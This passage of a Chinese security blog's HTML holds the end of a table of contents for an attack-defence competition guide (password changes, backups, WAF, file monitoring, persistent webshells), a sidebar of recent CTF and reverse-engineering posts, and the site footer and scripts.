class="toc-text">修改数据库密码及备份数据库（以 mysql 为例）</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E6%BA%90%E7%A0%81%E5%A4%87%E4%BB%BD"><span class="toc-number">1.4.</span> <span class="toc-text">源码备份</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E4%B8%8A-WAF"><span class="toc-number">1.5.</span> <span class="toc-text">上 WAF</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E6%96%87%E4%BB%B6%E7%9B%91%E6%8E%A7"><span class="toc-number">1.6.</span> <span class="toc-text">文件监控</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E6%9D%83%E9%99%90%E7%BB%B4%E6%8C%81%E2%80%94%E2%80%94%E4%B8%8D%E6%AD%BB%E9%A9%AC"><span class="toc-number">1.7.</span> <span class="toc-text">权限维持——不死马</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#6-1-%E4%B8%8D%E6%AD%BB%E9%A9%AC%E4%BD%BF%E7%94%A8"><span class="toc-number">1.8.</span> <span class="toc-text">6.1. 不死马使用</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#6-2-%E4%B8%8D%E6%AD%BB%E9%A9%AC%E7%9A%84%E5%85%8B%E5%88%B6"><span class="toc-number">1.9.</span> <span class="toc-text">6.2. 不死马的克制</span></a></li></ol></li></ol></div></div><div class="card-widget card-recent-post"><div class="item-headline"><i class="fas fa-history"></i><span>最新文章</span></div><div class="aside-list"><div class="aside-list-item"><a class="thumbnail" href="/2023/11/06/2023%E8%93%9D%E5%B8%BD%E6%9D%AF%E5%86%B3%E8%B5%9BWP/" title="2023蓝帽杯决赛WP"><img src="https://xyhutc.oss-cn-qingdao.aliyuncs.com/giteetuchuang/20231106163334.png" onerror="this.onerror=null;this.src='/img/404.jpg'" alt="2023蓝帽杯决赛WP"/></a><div class="content"><a class="title" href="/2023/11/06/2023%E8%93%9D%E5%B8%BD%E6%9D%AF%E5%86%B3%E8%B5%9BWP/" title="2023蓝帽杯决赛WP">2023蓝帽杯决赛WP</a><time datetime="2023-11-06T08:31:51.000Z" title="发表于 2023-11-06 16:31:51">2023-11-06</time></div></div><div class="aside-list-item"><a class="thumbnail" href="/2023/10/20/%E6%94%BB%E9%98%B2%E4%B8%96%E7%95%8CRE/" title="攻防世界RE"><img src="https://xyhutc.oss-cn-qingdao.aliyuncs.com/giteetuchuang/c78ed35b1e3999643d52a652257558af0a15b4c9_raw.jpg" onerror="this.onerror=null;this.src='/img/404.jpg'" alt="攻防世界RE"/></a><div class="content"><a class="title" href="/2023/10/20/%E6%94%BB%E9%98%B2%E4%B8%96%E7%95%8CRE/" title="攻防世界RE">攻防世界RE</a><time datetime="2023-10-20T12:38:32.000Z" title="发表于 2023-10-20 20:38:32">2023-10-20</time></div></div><div class="aside-list-item"><a class="thumbnail" href="/2023/09/22/%E5%AE%89%E5%8D%93%E5%B8%B8%E7%94%A8%E7%9B%AE%E5%BD%95/" title="安卓常用目录"><img src="https://xyhutc.oss-cn-qingdao.aliyuncs.com/giteetuchuang/mmexport1694863328916.jpg" onerror="this.onerror=null;this.src='/img/404.jpg'" alt="安卓常用目录"/></a><div class="content"><a class="title" href="/2023/09/22/%E5%AE%89%E5%8D%93%E5%B8%B8%E7%94%A8%E7%9B%AE%E5%BD%95/" title="安卓常用目录">安卓常用目录</a><time datetime="2023-09-22T01:27:02.000Z" title="发表于 2023-09-22 09:27:02">2023-09-22</time></div></div><div class="aside-list-item"><a class="thumbnail" href="/2023/09/22/010Editor%E7%A0%B4%E8%A7%A3/" title="010Editor破解"><img src="https://xyhutc.oss-cn-qingdao.aliyuncs.com/giteetuchuang/1694867487605.jpg" onerror="this.onerror=null;this.src='/img/404.jpg'" alt="010Editor破解"/></a><div class="content"><a class="title" href="/2023/09/22/010Editor%E7%A0%B4%E8%A7%A3/" title="010Editor破解">010Editor破解</a><time datetime="2023-09-22T00:33:10.000Z" title="发表于 2023-09-22 08:33:10">2023-09-22</time></div></div><div class="aside-list-item"><a class="thumbnail" href="/2023/08/24/%E6%9F%90APP%E7%9A%84%E9%80%86%E5%90%91%E5%88%86%E6%9E%90/" title="某APP的逆向分析"><img src="https://xyhutc.oss-cn-qingdao.aliyuncs.com/giteetuchuang/a4c8982faff8839d06cc010c864e02e8092efb23_raw.jpg" onerror="this.onerror=null;this.src='/img/404.jpg'" alt="某APP的逆向分析"/></a><div class="content"><a class="title" href="/2023/08/24/%E6%9F%90APP%E7%9A%84%E9%80%86%E5%90%91%E5%88%86%E6%9E%90/" title="某APP的逆向分析">某APP的逆向分析</a><time datetime="2023-08-24T14:02:11.000Z" title="发表于 2023-08-24 22:02:11">2023-08-24</time></div></div></div></div></div></div></main><footer id="footer"><div id="footer-wrap"><div class="copyright">&copy;2020 - 2024 By 惜缘怀古</div><div class="framework-info"><span>框架 </span><a target="_blank" rel="noopener" href="https://hexo.io">Hexo</a><span class="footer-separator">|</span><span>主题 </span><a target="_blank" rel="noopener" href="https://github.com/jerryc127/hexo-theme-butterfly">Butterfly</a></div></div></footer></div><div id="rightside"><div id="rightside-config-hide"><button id="readmode" type="button" title="阅读模式"><i class="fas fa-book-open"></i></button><button id="darkmode" type="button" title="浅色和深色模式转换"><i class="fas fa-adjust"></i></button><button id="hide-aside-btn" type="button" title="单栏和双栏切换"><i class="fas fa-arrows-alt-h"></i></button></div><div id="rightside-config-show"><button id="rightside_config" type="button" title="设置"><i class="fas fa-cog fa-spin"></i></button><button class="close" id="mobile-toc-button" type="button" title="目录"><i class="fas fa-list-ul"></i></button><button id="go-up" type="button" title="回到顶部"><i class="fas fa-arrow-up"></i></button></div></div><div><script src="/js/utils.js"></script><script src="/js/main.js"></script><script src="https://cdn.jsdelivr.net/npm/@fancyapps/ui/dist/fancybox.umd.js"></script><div class="js-pjax"></div><script async data-pjax src="//busuanzi.ibruce.info/busuanzi/2.3/busuanzi.pure.mini.js"></script></div></body></html>